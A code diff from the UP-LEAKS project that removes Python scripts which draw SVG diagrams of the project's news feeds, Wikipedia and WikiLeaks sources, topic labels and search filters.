||||||
a(f'<rect x="{x:.0f}" y="{y:.0f}" width="{icw}" height="{ich}" rx="3" fill="#0a1114" '
|
|
||||||
f'stroke="{CIAN}" stroke-width="1.1" stroke-opacity="0.6"/>')
|
|
||||||
a(f'<text x="{x+14:.0f}" y="{y+22:.0f}" fill="{CIAN}" font-size="13.5">{nom}</text>')
|
|
||||||
a(f'<text x="{x+14:.0f}" y="{y+39:.0f}" fill="{GRIS2}" font-size="11">{sub}</text>')
|
|
||||||
if c == 0:
|
|
||||||
a(f'<line x1="{fx+290}" y1="{fy+58:.0f}" x2="{x-4:.0f}" y2="{y+ich/2:.0f}" '
|
|
||||||
f'stroke="{CIAN}" stroke-opacity="0.45" stroke-width="1.2" marker-end="url(#flc)"/>')
|
|
||||||
|
|
||||||
y_in_fin = fy + 2 * (ich + igap)
|
|
||||||
|
|
||||||
# ── capa 4: up-leaks ──────────────────────────────────────────────────────
|
|
||||||
y_up = y_in_fin + 34
|
|
||||||
bw, bh = W - 92, 108
|
|
||||||
a(f'<rect x="46" y="{y_up}" width="{bw}" height="{bh}" rx="5" fill="{PANEL}" '
|
|
||||||
f'stroke="{NEON}" stroke-width="2"/>')
|
|
||||||
a(f'<text x="72" y="{y_up+38}" fill="{NEON}" font-size="25" font-weight="bold" '
|
|
||||||
f'letter-spacing="3">UP-LEAKS</text>')
|
|
||||||
a(f'<text x="72" y="{y_up+62}" fill="{GRIS}" font-size="12.5">'
|
|
||||||
f'Ingiere los dos circuitos y los cruza contra el archivo de WikiLeaks.</text>')
|
|
||||||
a(f'<text x="72" y="{y_up+82}" fill="{GRIS}" font-size="12.5">'
|
|
||||||
f'Donde una noticia y un documento filtrado hablan de lo mismo, aparece una arista.</text>')
|
|
||||||
|
|
||||||
for i, (etq, val) in enumerate([("236", "feeds"), ("36.182", "documentos"), ("115M", "aristas")]):
|
|
||||||
x = 940 + i * 172
|
|
||||||
a(f'<text x="{x}" y="{y_up+46}" fill="{NEON}" font-size="26" font-weight="bold">{etq}</text>')
|
|
||||||
a(f'<text x="{x}" y="{y_up+68}" fill="{GRIS2}" font-size="11.5" letter-spacing="1">{val}</text>')
|
|
||||||
|
|
||||||
# flechas de entrada
|
|
||||||
# generalista: baja por la derecha bordeando el bloque independiente
|
|
||||||
a(f'<path d="M{W-100},{y_ab_fin+30:.0f} L{W-100},{y_up-14}" fill="none" stroke="{NEON}" '
|
|
||||||
f'stroke-opacity="0.45" stroke-width="1.6" stroke-dasharray="4 4" marker-end="url(#fl)"/>')
|
|
||||||
a(f'<text x="{W-92}" y="{(y_ab_fin+y_up)/2:.0f}" fill="{GRIS2}" font-size="11">generalista</text>')
|
|
||||||
# independiente: sube desde el bloque cian
|
|
||||||
a(f'<path d="M{igx+120:.0f},{y_in_fin+4:.0f} L{igx+120:.0f},{y_up-14}" fill="none" stroke="{CIAN}" '
|
|
||||||
f'stroke-opacity="0.6" stroke-width="1.6" marker-end="url(#flc)"/>')
|
|
||||||
a(f'<text x="{igx+132:.0f}" y="{y_up-20:.0f}" fill="{GRIS2}" font-size="11">independiente</text>')
|
|
||||||
|
|
||||||
a(f'<text x="46" y="{H-20}" fill="{GRIS2}" font-size="11">'
|
|
||||||
f'upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>')
|
|
||||||
a('</svg>')
|
|
||||||
|
|
||||||
io.open(sys.argv[1], 'w', encoding='utf-8').write('\n'.join(o))
|
|
||||||
print("escrito", sys.argv[1], "| alto util:", y_up + bh)
|
|
||||||
|
|
@ -1,188 +0,0 @@
|
||||||
#!/usr/bin/env python3
|
|
||||||
# Genera el diagrama de fuentes y clasificacion de UP-LEAKS.
|
|
||||||
import io, sys
|
|
||||||
|
|
||||||
W = 1500
|
|
||||||
NEON, NEON2 = "#39ff14", "#7cff5a"
|
|
||||||
BG, PANEL = "#050505", "#0d0f0d"
|
|
||||||
GRIS, GRIS2 = "#8a938a", "#5a625a"
|
|
||||||
CIAN, AMBAR, MAGENTA, ROJO = "#3ad6ff", "#ffb020", "#ff5ea8", "#ff4d4d"
|
|
||||||
|
|
||||||
# color por tema, el mismo de la web
|
|
||||||
TEMAS = [
|
|
||||||
("GLOB-WAR", "guerra global", "#ff3b3b", 49,
|
|
||||||
["Internacional", "Asia", "Oriente Medio", "Defensa", "Geopolítica",
|
|
||||||
"Afganistán", "Europa", "Conflictos", "Rusia", "Humanitario"]),
|
|
||||||
("INT-SEC", "inteligencia y seguridad", "#4a6bff", 19,
|
|
||||||
["Ciberseguridad", "Análisis", "Defensa", "Inteligencia",
|
|
||||||
"Internacional", "Europa", "España", "EEUU"]),
|
|
||||||
("CLIMATE", "cambio climático", "#5fe36a", 120,
|
|
||||||
["Internacional", "EEUU", "Ciencia", "Biodiversidad", "Energía",
|
|
||||||
"Asia", "Tecnología", "ONG", "Salud", "España"]),
|
|
||||||
("ECO-CORP", "economía y corporaciones", "#ffe600", 24,
|
|
||||||
["Internacional", "Tecnología", "EEUU", "España",
|
|
||||||
"Gestión", "Corporaciones", "Comercio"]),
|
|
||||||
("POPL-UP", "demografía y sociedad", "#ff9b30", 24,
|
|
||||||
["España", "Internacional", "EEUU", "Salud", "Derechos Humanos",
|
|
||||||
"Política", "Migración", "Europa", "Reino Unido"]),
|
|
||||||
]
|
|
||||||
|
|
||||||
FUENTES = [
|
|
||||||
("236 feeds RSS", CIAN, ["prensa de 5 idiomas", "agencias y cabeceras",
|
|
||||||
"medios locales y de exilio"]),
|
|
||||||
("API de Wikipedia", CIAN, ["28.266 artículos", "por tema y palabra clave",
|
|
||||||
"el contexto histórico"]),
|
|
||||||
("WikiLeaks", CIAN, ["36.182 documentos", "archivo completo por torrent",
|
|
||||||
"cables, correos, informes"]),
|
|
||||||
("Imágenes", CIAN, ["og:image de cada artículo", "fotos de Wikipedia",
|
|
||||||
"descritas con Qwen3-VL"]),
|
|
||||||
]
|
|
||||||
|
|
||||||
FILTROS = [
|
|
||||||
("tema", "la vista que eliges: GLOB-WAR, INT-SEC…"),
|
|
||||||
("subtema", "desplegable, hereda del feed"),
|
|
||||||
("fecha", "Semanal (7 días) o Todas"),
|
|
||||||
("palabra clave","busca dentro del texto"),
|
|
||||||
("nodos", "cuántos traer, hasta 500"),
|
|
||||||
("% similitud", "umbral mínimo para dibujar una arista"),
|
|
||||||
("país / región","solo en coconews"),
|
|
||||||
("entidad", "persona u organización, vía NER"),
|
|
||||||
]
|
|
||||||
|
|
||||||
o = []
|
|
||||||
a = o.append
|
|
||||||
|
|
||||||
|
|
||||||
def caja(x, y, w, h, color, ancho=1.5, relleno=PANEL, op=1.0):
|
|
||||||
a(f'<rect x="{x:.0f}" y="{y:.0f}" width="{w:.0f}" height="{h:.0f}" rx="4" fill="{relleno}" '
|
|
||||||
f'stroke="{color}" stroke-width="{ancho}" stroke-opacity="{op}"/>')
|
|
||||||
|
|
||||||
|
|
||||||
def txt(x, y, s, color=GRIS, size=12, anchor="start", peso="normal", ls=0):
|
|
||||||
a(f'<text x="{x:.0f}" y="{y:.0f}" fill="{color}" font-size="{size}" '
|
|
||||||
f'text-anchor="{anchor}" font-weight="{peso}" letter-spacing="{ls}">{s}</text>')
|
|
||||||
|
|
||||||
|
|
||||||
# ── cabecera ──────────────────────────────────────────────────────────────
|
|
||||||
cuerpo = []
|
|
||||||
a_real = a
|
|
||||||
o_head = []
|
|
||||||
|
|
||||||
Y = 130
|
|
||||||
# FUENTES
|
|
||||||
fw, fgap = 340, 26
|
|
||||||
fx0 = (W - (4 * fw + 3 * fgap)) / 2
|
|
||||||
fh = 118
|
|
||||||
|
|
||||||
# CLASIFICACION
|
|
||||||
Y2 = Y + fh + 96
|
|
||||||
h_clas = 128
|
|
||||||
|
|
||||||
# TEMAS
|
|
||||||
Y3 = Y2 + h_clas + 86
|
|
||||||
tw, tgap = 276, 20
|
|
||||||
tx0 = (W - (5 * tw + 4 * tgap)) / 2
|
|
||||||
th = 44 + 10 * 20 + 16
|
|
||||||
|
|
||||||
# FILTROS
|
|
||||||
Y4 = Y3 + th + 108
|
|
||||||
h_filt = 44 + 4 * 30 + 16
|
|
||||||
|
|
||||||
H = Y4 + h_filt + 54
|
|
||||||
|
|
||||||
a(f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {W} {H}" width="{W}" height="{H}" '
|
|
||||||
f'font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" '
|
|
||||||
f'aria-label="De donde salen los datos de UP-LEAKS y como se clasifican en temas, subtemas y filtros">')
|
|
||||||
a('<defs>')
|
|
||||||
for nom, col in (("f1", CIAN), ("f2", NEON), ("f3", MAGENTA)):
|
|
||||||
a(f'<marker id="{nom}" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto">'
|
|
||||||
f'<path d="M0,0 L7,3 L0,6 Z" fill="{col}" opacity="0.85"/></marker>')
|
|
||||||
a('</defs>')
|
|
||||||
a(f'<rect width="{W}" height="{H}" fill="{BG}"/>')
|
|
||||||
|
|
||||||
txt(46, 54, 'DE DÓNDE SALEN LOS DATOS', NEON, 27, peso="bold", ls=3)
|
|
||||||
txt(46, 80, 'Cuatro fuentes, una etiqueta que viaja con cada documento, y los filtros que salen de ahí.', GRIS, 14)
|
|
||||||
a(f'<line x1="46" y1="96" x2="{W-46}" y2="96" stroke="{NEON}" stroke-opacity="0.28"/>')
|
|
||||||
|
|
||||||
# ── 1. FUENTES ────────────────────────────────────────────────────────────
|
|
||||||
txt(46, Y - 12, '1 · LO QUE ENTRA', CIAN, 13, ls=2)
|
|
||||||
centros = []
|
|
||||||
for i, (nom, col, lineas) in enumerate(FUENTES):
|
|
||||||
x = fx0 + i * (fw + fgap)
|
|
||||||
caja(x, Y, fw, fh, col, 1.5, PANEL, 0.85)
|
|
||||||
txt(x + 18, Y + 30, nom, col, 16, peso="bold")
|
|
||||||
for j, l in enumerate(lineas):
|
|
||||||
txt(x + 18, Y + 56 + j * 20, '› ' + l, GRIS, 11.5)
|
|
||||||
centros.append(x + fw / 2)
|
|
||||||
|
|
||||||
# ── 2. LA ETIQUETA ────────────────────────────────────────────────────────
|
|
||||||
cx = W / 2
|
|
||||||
for c in centros:
|
|
||||||
a(f'<line x1="{c:.0f}" y1="{Y+fh+4}" x2="{cx:.0f}" y2="{Y2-10}" stroke="{CIAN}" '
|
|
||||||
f'stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>')
|
|
||||||
|
|
||||||
caja(46, Y2, W - 92, h_clas, NEON, 1.8)
|
|
||||||
txt(64, Y2 + 28, '2 · LA ETIQUETA NO SE CALCULA: VIAJA CON LA FUENTE', NEON, 13, ls=2)
|
|
||||||
txt(64, Y2 + 56,
|
|
||||||
'Cada feed del catálogo lleva escrito su tema y su subtema. Al ingerir un artículo, el artículo los hereda.', GRIS, 12.5)
|
|
||||||
txt(64, Y2 + 76,
|
|
||||||
'No hay clasificador automático: la decisión es editorial y está en el catálogo, no en el texto.', GRIS, 12.5)
|
|
||||||
txt(64, Y2 + 104,
|
|
||||||
'Es simple y es auditable — se ve de un vistazo por qué un artículo está donde está — pero tiene un coste: si un', GRIS2, 11.5)
|
|
||||||
txt(64, Y2 + 120,
|
|
||||||
'medio de clima publica sobre geopolítica, ese artículo entra igualmente como clima.', GRIS2, 11.5)
|
|
||||||
|
|
||||||
# tarjeta de ejemplo, a la derecha del bloque
|
|
||||||
ex_x, ex_w = W - 500, 436
|
|
||||||
caja(ex_x, Y2 + 16, ex_w, 96, AMBAR, 1.2, "#12100a", 0.8)
|
|
||||||
txt(ex_x + 16, Y2 + 38, 'coconews_feeds', AMBAR, 11.5, ls=1)
|
|
||||||
for j, (k, v) in enumerate([('nombre', '"Ariana News – Dari"'),
|
|
||||||
('tema', '"guerra global"'),
|
|
||||||
('subtema', '"Afganistán"')]):
|
|
||||||
txt(ex_x + 16, Y2 + 60 + j * 18, k, GRIS2, 11.5)
|
|
||||||
txt(ex_x + 110, Y2 + 60 + j * 18, v, NEON2 if k != 'nombre' else GRIS, 11.5)
|
|
||||||
|
|
||||||
# ── 3. TEMAS Y SUBTEMAS ───────────────────────────────────────────────────
|
|
||||||
_e3 = '3 · CINCO TEMAS, Y LOS SUBTEMAS QUE EXISTEN DE VERDAD'
|
|
||||||
for i, (etq, tema, col, nfeeds, subs) in enumerate(TEMAS):
|
|
||||||
x = tx0 + i * (tw + tgap)
|
|
||||||
caja(x, Y3, tw, th, col, 1.6, PANEL, 0.9)
|
|
||||||
a(f'<rect x="{x:.0f}" y="{Y3:.0f}" width="{tw}" height="30" rx="4" fill="{col}" fill-opacity="0.16"/>')
|
|
||||||
txt(x + 14, Y3 + 21, etq, col, 14, peso="bold", ls=1)
|
|
||||||
txt(x + tw - 14, Y3 + 21, f'{nfeeds} feeds', GRIS2, 11, anchor="end")
|
|
||||||
txt(x + 14, Y3 + 44, tema, GRIS2, 10.5)
|
|
||||||
for j, s in enumerate(subs[:10]):
|
|
||||||
txt(x + 14, Y3 + 66 + j * 20, '· ' + s, GRIS, 11.5)
|
|
||||||
a(f'<line x1="{cx:.0f}" y1="{Y2+h_clas+4}" x2="{x+tw/2:.0f}" y2="{Y3-4}" '
|
|
||||||
f'stroke="{NEON}" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>')
|
|
||||||
|
|
||||||
a(f'<rect x="40" y="{Y3-30}" width="{len(_e3)*8.7:.0f}" height="26" fill="{BG}"/>')
|
|
||||||
txt(46, Y3 - 11, _e3, NEON2, 13, ls=2)
|
|
||||||
|
|
||||||
txt(46, Y3 + th + 24,
|
|
||||||
'Los subtemas son geográficos y de sección, no conceptuales. No hay un subtema "energía renovable": hay "Energía", que es lo que',
|
|
||||||
GRIS2, 11.5)
|
|
||||||
txt(46, Y3 + th + 40,
|
|
||||||
'trae el catálogo. El menú de la web todavía ofrece algunos que no existen en la base y por eso filtran a cero.',
|
|
||||||
GRIS2, 11.5)
|
|
||||||
|
|
||||||
# ── 4. FILTROS ────────────────────────────────────────────────────────────
|
|
||||||
caja(46, Y4, W - 92, h_filt, MAGENTA, 1.5)
|
|
||||||
_e4 = '4 · LO QUE PUEDES FILTRAR'
|
|
||||||
a(f'<rect x="40" y="{Y4-30}" width="{len(_e4)*8.7:.0f}" height="26" fill="{BG}"/>')
|
|
||||||
txt(46, Y4 - 11, _e4, MAGENTA, 13, ls=2)
|
|
||||||
for i, (nom, desc) in enumerate(FILTROS):
|
|
||||||
col_i, fila = divmod(i, 4)
|
|
||||||
x = 70 + col_i * ((W - 140) / 2)
|
|
||||||
y = Y4 + 40 + fila * 30
|
|
||||||
txt(x, y, nom, MAGENTA, 12.5)
|
|
||||||
txt(x + 150, y, desc, GRIS, 12)
|
|
||||||
|
|
||||||
a(f'<line x1="{cx:.0f}" y1="{Y3+th+58}" x2="{cx:.0f}" y2="{Y4-8}" stroke="{MAGENTA}" '
|
|
||||||
f'stroke-width="1.5" stroke-opacity="0.5" marker-end="url(#f3)"/>')
|
|
||||||
|
|
||||||
txt(46, H - 22, 'upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS', GRIS2, 11)
|
|
||||||
a('</svg>')
|
|
||||||
|
|
||||||
io.open(sys.argv[1], 'w', encoding='utf-8').write('\n'.join(o))
|
|
||||||
print("escrito", sys.argv[1], "| alto:", H)
|
|
||||||